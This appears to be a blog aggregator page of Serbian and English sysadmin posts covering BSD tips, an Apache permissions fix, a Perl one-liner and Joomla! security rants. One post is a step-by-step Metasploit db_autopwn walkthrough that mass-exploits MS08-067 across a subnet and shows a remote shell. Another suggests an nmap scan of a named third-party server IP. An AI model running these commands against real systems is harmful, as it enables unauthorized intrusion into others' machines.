Planeta Srbija

Nešto sam u tom raspoloženju ovih dana. To me je i nateralo da napišem ovaj blog. Posmatram okolo kako se neke stvari rade i ne sviđa mi se. Mislim tu pre svega na činjenicu da se danas svako naziva sistem administratorom. Sad svako može da kaže da zna da instalira Linux operativni sistem, i on [...]

Dear fellow sysadmins, happy System Administrator Appreciation Day! May your servers have high uptime, may your network cables not  look as a bowl of spagetti and may your backups not fail you.http://www.sysadminday.com/ The rest of you: buy your sysadmin a beer today. ;)

One thousand, one hundred and seventy-two: Twenty-three to complain to -current about the lights being out; Four to claim that it is a configuration problem, and that such matters really belong on -questions; Three to submit PRs about it, one of which is misfiled under doc and consists only of “it’s dark”; One to commit an untested lightbulb which breaks buildworld, then back it out five minutes later; Eight to flame the PR originators for not including patches in their PRs; Five to complain about buildworld being broken; Thirty-one to answer that it works for them, and they must have cvsupped at a bad time; One to post a patch for a new lightbulb to -hackers; One to complain that he had patches for this three years ago, but when he sent them to -current they were just ignored, and he has had bad experiences with the PR system; besides, the proposed new lightbulb is non-reflexive; Thirty-seven to scream that lightbulbs do not belong in the base system, that committers have no right to do things like this without consulting the Community, and WHAT IS -CORE DOING ABOUT IT!? Two hundred to complain about the color of the bicycle shed; Three to point out that the patch breaks style(9); Seventeen to complain that the proposed new lightbulb is under GPL; Five hundred and eighty-six to engage in a flame war about the comparative advantages of the GPL, the BSD license, the MIT license, the NPL, and the personal hygiene of unnamed FSF founders; Seven to move various portions of the thread to -chat and -advocacy; One to commit the suggested lightbulb, even though it shines dimmer than the old one; Two to back it out with a furious flame of a commit message, arguing that FreeBSD is better off in the dark than with a dim lightbulb; Forty-six to argue vociferously about the backing out of the dim lightbulb and demanding a statement from -core; Eleven to request a smaller lightbulb so it will fit their Tamagotchi if we ever decide to port FreeBSD to that platform; Seventy-three to complain about the SNR on -hackers and -chat and unsubscribe in protest; Thirteen to post “unsubscribe”, “How do I unsubscribe?”, or “Please remove me from the list”, followed by the usual footer; One to commit a working lightbulb while everybody is too busy flaming everybody else to notice; Thirty-one to point out that the new lightbulb would shine 0.364% brighter if compiled with TenDRA (although it will have to be reshaped into a cube), and that FreeBSD should therefore switch to TenDRA instead of EGCS; One to complain that the new lightbulb lacks fairings; Nine (including the PR originators) to ask “what is MFC?”; Fifty-seven to complain about the lights being out two weeks after the bulb has been changed.From The FreeBSD Funnies

Wget is one of my favorite tools when it comes to working with files online. And it’s definitely my fav download manager. So, here is a little tip how to work with it if you are behind a proxy server like I am right now. In order to make wget use transparent proxy setting ENV is not enough. Solution is rather simple - just edit file called /home/johndoe/.wgetrc and put the following in it:

http_proxy = http://PROXY:PORT/ use_proxy = on wait = 15

This will make wget use whatever proxy is working between you and the rest of the world.

Nekada davno, u vremena skoro zaboravljena, kada bi neko hteo da ozbiljno ugrozi neki sistem na Mreži morao bi sam da nađe propust i da napiše eksploit za isti. Za one manje upućene, eksploit je skripta ili program koji napada poznati propust u nekom programu. Pretpostavimo da naša žrtva na svom serveru ima, recimo, FTP server verzije 1.2.3. Ta verzija je zastarela i svi već znaju da se u njoj nalazi propust koji omogućava manje ili više zlonamernim napadačima da uđu na sistem bez pravile provere lozinke. Da bi to zaista radilo potrebno je uspostaviti vezu sa FTP serverom i poslati mu neke komande od kojih će ovaj dobiti epileptični napad i otvoriti vam svoje dveri. Eksploit je programičić koji radi baš to. Prisan je za specifičan progam i, obično, specifičnu verziju tog programa. Sve što radi kada se pokrene jeste izvršavanje malicioznog koda. Dakle, u skoro zaboravljena davna vremena, mlađani haker je morao sam da napiše eksploit. Morao je zapravo da upotrebi mozak kako bi dobio pristup sistemu. Danas… hmm… danas su stvari drugačije. Voleo bih da vas upoznam sa Metasploit projektom. U pitanju je fenomenalan sistem za pisanje eksploita svih vrsta koji u sebi donosi fenomenalnu biblioteku već postojećih eksploita. Kao što naslov kaže - Point. Click. Root. Izaberete žrtvu, kliknete na eksploit koji vas zanima i… dobijete root. Dobro, nije baš tako jednostavno ali se svodi na to. Posebno kada znamo da dobar deo sistema na Internetu čine ne baš ažurirani serveri. "Neće niko nas" je sjajna logika za sigurno uništenje.Šta je zapravo Metasploit? Jedna od mojih omiljenih alatki. Pošto mi je deo posla i tzv. Penetration testiranje Metasploit je jedna od alatki bez koje bi mi posao bio daleko komplikovaniji. Što ne znači da već nije. Dakle, Metasploit je program pisan u Ruby programskom jeziku a sadrži komponente pisane u C i ASM-u. Njegova osnovna svrha je da programerima donese razvojno okruženje za pisanje eksploita i drugih bezbednosnih alatki. Njegov osnovi sistem podrazumeva postojeću biblioteku eksploita koje je moguće konfigurisati po potrebi. Potom se eoksploit izvršava na ciljani server. Ukoliko se sve završi uspešno korisnik dobija pristup sistemu koji je napao. Primer: Upešno izveden napad na VNC server koji se nalazi na Windows 2000 serveru.A sada tema dana - masovna eksploatacija za idiote Ne znam zašto ali kada god vidim neki od naslova "… for dummies" to prevedem kao "… za idiote". Najnovija verzija Metasploita 3.2 donosi jednu sjajnu novinu. Zamislite da se nalazite u situaciji kada treba napasti veći broj sistema. Da, znam… naporno je kliktati i napadati jedan po jedan. Težak je hakerski posao. E pa dragi moji hakeri, novi Metasploit donosi rešenje za bol u vašem zglobu. Mogućnost istovremenog napada većeg broja sistema. Kao primer će nam poslužiti izvršavanje eksploita MS08-067 na port 445 koji je otvoren na većem broju hostova koji se pak nalaze u  C klasi adresa. Za početak pokrenite msfconsole na svojoj BSD ili GNU/Linux mašini. Potrebni su vam SQLite3 gem za Ruby kao i novija verzija Nmap skenera. Kada se Metasploit (msf) komandna linija pojavi učitajte sqlite3 drajver:msf > load db_sqlite3 [*] Successfully loaded plugin: db_sqlite3Zatim ćemo upotrebiti db_create komandu za pokretanje nove SQLite3 baze podataka i povezivanje iste na Metasploit sistem: msf > db_create [*] The specified database already exists, connecting [*] Successfully connected to the database [*] File: /root/.msf3/sqlite3.db Kako bismo ubrzali testiranje upotrebićemo db_nmap komandu sa veoma ograničenim nizom komandi. Cilj nam je da nađemo sve mašine kojima ja otvoren port 445 na ciljanoj podmreži:msf > db_nmap -sS -PS445 -p445 -n -T Aggressive AAA.BBB.CCC.0/24 Konačno, pokrećemo db_autopwn komandu sa -e opcijom za eksploataciju, -p opcijom da odredimo ciljani port, -b opcijom za dobijanje shell-a i -m opcijom za pokretanje svih modula sa "ms08_067" stringom u svom imenu:msf > db_autopwn -e -p -b -m ms08_067 Kada se ova komanda izvrši možemo izlistati sve aktivne veze koje smo uspeli da ostvarimo:msf > sessions -l Active sessions =============== Id Description Tunnel – ———– —— 1 Command shell AAA.BBB.CCC.11 -> AAA.BBB.CCC.86 Upotrebimo session -i SID kako bismo se povezali na ciljani sistem: msf > sessions -i 1 [*] Starting interaction with 1… Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.C:\WINDOWS\system32> Voila! Nekada davno je sve ovo bilo zapravo zabavno. A sada…

I’ve been having issues with FreeBSD 7.x and Intel graphic card on my laptop. Well, at first I didn’t blame XOrg nor graphic card. The issue was following: for no apparent reason my system would freeze now and then. I could not repeat the crash and logs didn’t say much. The only thing dmesg gave me were some gnome-keyring-daemon errors. So I blamed GNOME. I’ve deinstalled everything that needed gnome-keyring and moved to XFCE4 or E17. It worked OK for some time and then it started again. And then I found this: http://forums.freebsd.org/showthread.php?t=1345&highlight=Xorg In the meanting I had a chat on an IRC channel with a fellow who’s having similar issues with his laptop. We figured out that Intel and FreeBSD’s DRM aren’t really working well together. Too bad. So, the only solution would be to disable DRI, DRM and so on… I’ve disabled GLX, DRI and GL. It seems to be working OK for now. Thou, I think I’ll be going back to my dear OpenBSD this weekend.

"Nov 1, 2008. We are pleased to announce the official release of OpenBSD 4.4. This is our 24th release on CD-ROM (and 25th via FTP).  We remain proud of OpenBSD’s record of more than ten years with only two remote holes in the default install."

To je bila poruka koju sam juče dobio sa mailing liste OpenBSD-a. Kao i uvek, pouzdani tim OpenBSD-a je obradovao sve korisnike ovog sjajnog operativnog sitema novom verzijom tačno na vreme. Novi OpenBSD donosi stotine novina (predlažem da pogledate http://www.openbsd.org za detalje) od kojih je za mnoge najvažnije proširena podrška za wireless kartice i… 3D akceleracija za grafičke kartice. Već nekoliko meseci na laptopu koristim OpenBSD CURRENT tako da sam imao priliku da pratim razvoj sistema. 3D sa Intel grafičkim karticama radi besprekorno - sistem je radio sasvim lepo i bez Intel DRM-a ali sada sve to izgleda daleko bolje. Svaka čast OpenBSD timu za odličan posao i hvala im za sjajan operativni sistem.

Jedan od onih dana kada se dešavaju krajnje čudni problemi na sistemu. Zvoni telefon, javlja se kolega iz podrške i dobija informaciju da jednom klijentu ne radi sajt već da konstantno dobija grešku 403. Pogledam sajt, stvarno. Dobro, lopatu u ruke pa da razgrnem malo logove Apacha. Kad tamo, ovo što vidite u naslovu. Pogledam .htaccess fajl i shvatim da u njemu nema ama baš ničeg. Dobro, bacim error_log pod rep - tail -f error_log i gledam šta se dešava. Gomila ljudi pokušava da pristupi sajtu bez previše uspeha jer dobijaju istu grešku kao i ja. Promenim CHMOD za .htaccess na 777. Ništa. I onda shvatim da je ova poruka varka. Navela me je da posmatram pogrešno mesto. Ubrzo shvatam da je problem što je ceo public_html direktorijum pogešno namešten i da su mu dozvole 644. Jedna mala izmena na 755 i sve radi kako treba. Ovo je jedan od onih besmislenih problema na koje čovek potroši ceo dan… ja sam potršio samo 10 min ali i to je mnogo.

Divan kišni dan. Ne znam za vas ali ja uživam kada pada kiša. Danas sam se nešto igrao u Perlu pa rekoh da podelim sa vama… možda vam zatreba nekada ovako nešto. Elem, pretpostavimo da i vi morate da izmenite jednu te istu liniju u preko 100 fajlova. (Sređivao sam prevod za Joomla! 1.5.7 pa je trebalo promeniti prvu linuju svih fajlova sa prevodom da umesto 1.5.6 stoji 1.5.7) Ima načina i načina, reče jedan mudar čovek. Tačno. I evo vam jednog krajnje jednostavnog načina da pomenutu radnju izvedete uz pomoć Perla:perl -pi -w -e 's/trazi/zameni/g;' *.ini I šta ovo radi?  Pretražuje sve fajlove sa ekstenzijom INI i u njima ovo "trazi" i umesto toga stavlja "zameni". Ili malo detaljnije:-e znači: izvrši sledeću liniju koda. -i uredi(edit) u mestu. -w prikaži upozorenja. -p  petlja(loop). Ovo je izmenilo željenu linuju u 93 fajla za par sekundi. Vodite računa da znake tipa "/" i "." morate izbeći jednim "\" ispred svakog od njih. Recimo, moja linija za izmenu verzije Joomla! u fajlovima sa prevodom bi izgledala ovako:perl -pi -w -e 's/1\.5\.6/1\.5\.7/g;' *.ini

Da ne odgovaram u vidu komentara jer to onda neće biti svima vidljivo. Već me je gomila ljudi pitala koliko košta usluga koju sam ponudio nešto ranije. Cena zavisi od posla koji treba obaviti. Sledi lista šta sve mogu da odradim pa se vi nađite na listi.:) - Joomla! sajt auditing - pregled već postavljene Joomla! prezentacije i primena sredstava za povećanje bezbednosti. - Pen test servera - provera bezbednostni celog servera i dostavljanje dokumentacije i propustima kao i o rešenjima za iste. - Auditing servera - ukoliko koristite VPS ili dedicated server odradiću kompletan test, update, audit proces i zatvaranje rupa na čitavom serveru - ovo se na odnosi na UNIX i sisteme na bazi UNIXa - BSD, GNU/Linux, Solaris, AIX bla, bla… - Bilo šta što ima veze sa bezbednošću sajta i/ili čitavog servera. Server ovde podrazumeva: web server, DB server, mail server, FTP server… ma bilo šta. Zapravo, možemo se dogovoriti za bilo koji tip usluga bez obzira da li treba pregledati Joomla!, Drupal, WP ili neki vaš lični CMS. Meni je to sve isto. P.S. Par ljudi iz nekih firmi su mi tražili CV da bi objasnili šefovima koga bi to da unajme. Izvol’te: http://rehash.eccegeek.info/files/marko_cv.pdf

Dan prvi "Hakovana mi je Joomla! Šta da radim?" "Ne brinite. Mi ćemo Vam je srediti i vratiti u prethodno stanje." Nekoliko minuta kasnije pošto je vraćen backup i provaljeno da korisnik ima Joomla! 1.5.1. "Poštovani, prezentacija Vam je vraćena. Ipak, bilo bi pametno da uradite ažuriranje na novu verziju. Ovih dana je izašla zakrpa koja rešava baš problem koji imate." "Aha. Hvala puno. Evo odmah."Dan drugi "Opet mi je hakovna Joomla!" "Jeste li uradili ažuriranje na novu verziju?"(dok se postavlja to pitanje proverava se sajt - naravno da nije ažuriran sistem) "Ah. Nisam. A trebalo je?" I tako već skoro 10 dana. Trudim se da nađem razumevanje za ovakvo ponašanje. Ali mi nekako ne ide. Zato obaveštavam javnost, kako fizička lica tako i firme, koju mrzi da čita šta pišemo na Joomla! Serbia forumu da sam odlučio da ponudim uslugu profesionalnog Joomla! konsultovanja. Ukoliko nećete sami da lupate glavu kako da povećate bezbednost svog sistema i kako da održavate ceo sajt slobodno mi se obratite i ja ću vam za ne tako visoku cenu odraditi sve što je potrebno da malo mirnije spavate. A možemo se dogovoriti i za stalno održavanje. Zapravo, šta god je potrebno samo da se ne ponavljaju razgovori odozgo. Moja email adresa je: marko[at]joomlaserbia.com pa mi se slobodno javite.

Uvek se slatko nasmejem kada čujem za sve te "hakerske" napade. U poslednjih par dana to je jedna od najvrelijih vesti većine domaćih medija. "Razvaljeni" su sajt SPC-a, Ministarstva poljoprivrede, raznih firmi, političkih partija i sl. Gotovo svi sajtovi su dobili identično novo ruho u bojama plemena sa juga. No, dva najzabavnija su osvanula na B92 sajtu: Sajtovi bez zaštite od upada hakera i Novi napad hakera sa Kosova. Hakeri, hakeri, hakeri… nije nego. Hajde da uradimo malu regresiju i pogledamo onako forenzički šta se tu sve dešavalo. Ako malo pažljivije izanaliziramo sve te žrtve moćićemo da izvedemo sledeći zaključak: 90% njih čine Joomla! 1.5.x instalacije. Ok. Dakle Joomla! je grozna i ona je kriva za sve, jel tako? Možda bih i progutao tu priču da kojim slučajem ne radim za Joomla! tim od nultog dana postojanja dotičnog CMS-a. Bez trunke pristrasnosti smem reći da ovog puta Joomla! nije kriva. Svi ovi slučajevi su školski primer ljudskog faktora kao problema u bezbednosti. Ali ne, ovog puta nije bilo naprednih NLP tehnika kako bi se jadni korisnici prevarili. Ne, ovog puta su ti jadni korisnici pogazili ono zlatno pravilo upotrebe gotovih softverskih rešenja za izradu web prezentacija. Ne jednom sam za vreme Joomla! dana u Beogradu prošle godine rekao da je jako važna stvar koristiti najnoviju verziju Joomla! softvera. Mislim da sam i zidovima u Rexu dosadio ponavljajući to. Pošto u Srbiji svi znaju da prave sajtove i svi se razumeju u sve što ima veze sa online postojanjem tako smo se našli u sledećoj situaciji: oborene desetine satova u neverovatno kratkom vremenskom roku. Opasni neki hakeri? Ne bih rekao. Vrli admini dotičnih sajtova su valjda bili previše zauzeti da bi brinuli o bezbednosti svojih kreacija pa smo tako mogli da vidimo Joomla! sajtove koji koriste i po 6 meseci stare verzije Joomla!. Sve što osoba zadužena za život tog Joomla! sajta treba da radi jeste da bar jednom u nedelju dana ode na Joomla! glavni sajt ili Joomla! Srbija forum i vidi da li se dešava nešto jako važno. Ali ne! Mnogo je lakše postaviti i zaboraviti. Bitno je da radi. Dragi moji web stručnjaci, softver je živo biće. On se konstantno razivija i unapređuje. Posebno ako koristite neki jako živ projekat kakvi su Joomla!, phpBB ili WordPress. Apsurdno je očekivati da jednom napisan sistem ostane nepromenjen i bezbedan zauvek. Softver nije savršen i kako stvari stoje to neće ni postati u skorije vreme. Već dva meseca radim kao stariji sistem administrator u SezamPro hostingu. Firma ima ogroman broj sajtova i neki od sajtova koji su našli svoje mesto na listi napada se nalaze kod nas. Tako sam imao priliku da pogledam šta se vrtelo na tim sajtovima kada su "odvaljeni" i da pomognem korisnicima da povrate svoje prezentacije. Prva stvar koju sam radio kada bi mi javili da je taj i taj sajt srušen jeste provera fajla CHANGELOG.php koji ima svaka Joomla!. Od 10 pregledanih sajtova ni jedan nije imao najnoviju verziju Joomla! Da stvar bude zabavnija, svi sajtovi su u proseku koristili Joomla! 1.5.x iz februara 2008. Ako znamo da je pre nedelju dana objavljena hitna zakrpa u vidu verzije 1.5.6 onda je krajnje interesantno kako to da niko nije ažurirao svoj sajt. Neko mi onda reče da je možda komplikovana procedura za ažuriranje. Hmmm… hajde da je razmotrimo u nekoliko koraka: 1. Odlazak na Joomla! sajt i preuzimanja fajla koji se zove: Patch_1.5.x_to_1.5.6.zip. gde umesto ovog X stoji verzija Joomla! koju trenutno imate. Ako baš ne znate koja je uđete u svoj admin panel i gore desno jasno stoji potrebna informacija. 2. Raspakujete preuzetu arhivu na svom računaru. 3. Koristeći omiljeni program za FTP nakačite se na svoj sajt, uđete u direktorijum sa sajtom i prevučete sve datoteke iz arhive sa svoje mašine na sajt. Program će vas pitati da li želite da pregazite sve datoteke i vi ćete reći DA. 4. Nema 4. Ažuriranje je gotovo. I takooo… Bezbednosna kultura na srpskoj interenet sceni je toliko niska da je apsolutno sjajno što neko i ima sajt koji se ne obara par puta dnevno. Idemo dalje. Naslovna strana Gazete od četvrtka, ako se ne varam, govori o pornografiji na sajtu jedne osnovne škole. "Stručnjaci" koje su kontaktirali iz dotičnog lista su komentarisali kako su hakeri napunili stranice tog sajta materijalom od kog bi se i markiz De Sad zacrveneo. Opet mene cimaju jer je sajt na našim serverima. Alatke u ruke pa u glib. Rezultat: na samom sajtu nije bilo nikakvog pornografskog sadržaja ali je zato forum bio urnisan. Nije mi bilo potrebno ne znam kakvo znanje da bih sračunao da dotični forum ima oko 100 korisnika od kojih skoro 80 čine botovi. Za neupućene, botovi su programi koji sami krstare Interenetom i obavljaju zadatke za koje su isprogramirani. Sledeća stvar koja mi pada u oči jeste činjenica da je na sajtu phpBB2 koji nije ažuriran ko zna od kada. Sećate se kada su pre par godina phpBB2 forumi padali kao zrele kruške? Izgleda da admin ovog foruma nije čuo za to. Ako pak problem ne bude u softveru na sajtu onda obično bude do samog servera tj. opet lenjosti admina da ponekad proveri da li mu je softver možda bušan ili loše podešen. Primer - sajt SPC. Nalazi se na dedicated serveru u USA a za pokretanje sajta koriste Drupal ako se ne varam. Posle pada su lepo počistili kod kako bi se sakrilo koji se CMS tu vrti. Što je super. Ipak, to nije dovoljno. Drupal tim, kao i Joomla!, u poslednje vreme često izdaje zakrpe koje bi valjalo primenjivati. Pošto sajt SPC-a ima svoj server nisam mogao da odolim i da ne pogledam malo sam server. Samo ću reći: nmap -sS -sV -O 74.53.26.200 i sve će vam se samo kazati. Neko je mogao malo više da poradi na bezbednosti ovog servera. Baš sam se raspisao, zar ne? Žao mi je ako sam vas smorio ali mi je preko glave naslova u medijima i priča o hakerima. Kakvi bre hakeri? Svaki klinac je mogao da nađe exploit za problem u Joomla! za sve verzije pre 1.5.6. i da se uloguje kao administrator. Problem nije u softveru već u lenjim korisnicima. Ažurirajte softver. Pravite rezervne kopije na dnevnoj bazi. Ako vam je sajt izuzetno posećen onda rezervne kopije treba praviti i češće. Primenite makar minimum bezbednosnih podešavanja za koja uputstva imate na svim matičnim sajtovma CMS-ova koje koristite. Ili unajmite nekog ko se zapravo razume u posao bezbednosti sajtova i servera.Mental note: Otvoriti firmu za security consulting.:)P.S. Dok ovo pišem čujem kako je jedan od sajtova koji je bio "srušen" prošle nedelje a koji smo vratili u život opet pao. Kako se ispostavilo korisnik nije našao za shodno da uradi update iako mu je predočeno u čemu je bio problem. Ahhh… the road to stupid is paved with good intention.

Deveti put za redom se proslavlja svetski dan sistem administratora. Dan kada se prisećamo koliko su nam važni naši sistem administratori. Kolege admini, srećan vam praznik! System down!